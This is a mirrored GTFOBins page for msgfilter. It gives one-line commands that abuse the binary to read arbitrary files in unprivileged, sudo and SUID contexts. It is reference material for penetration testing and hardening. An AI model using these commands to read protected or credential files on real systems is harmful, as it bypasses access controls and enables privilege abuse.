1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/msgfilter.md
Michalis Papadopoullos 8612fb0b86
Add msgfilter file-read
2021-06-04 09:23:53 +02:00

496 B

description functions
The file is parsed and displayed as a Java `.properties` file, so this may not be suitable to read arbitrary binary data. `/bin/cat` can be replaced with any other *filter* program.
file-read sudo suid
code
LFILE=file_to_read msgfilter -P -i "LFILE" /bin/cat
code
LFILE=file_to_read sudo msgfilter -P -i "LFILE" /bin/cat
code
LFILE=file_to_read ./msgfilter -P -i "LFILE" /bin/cat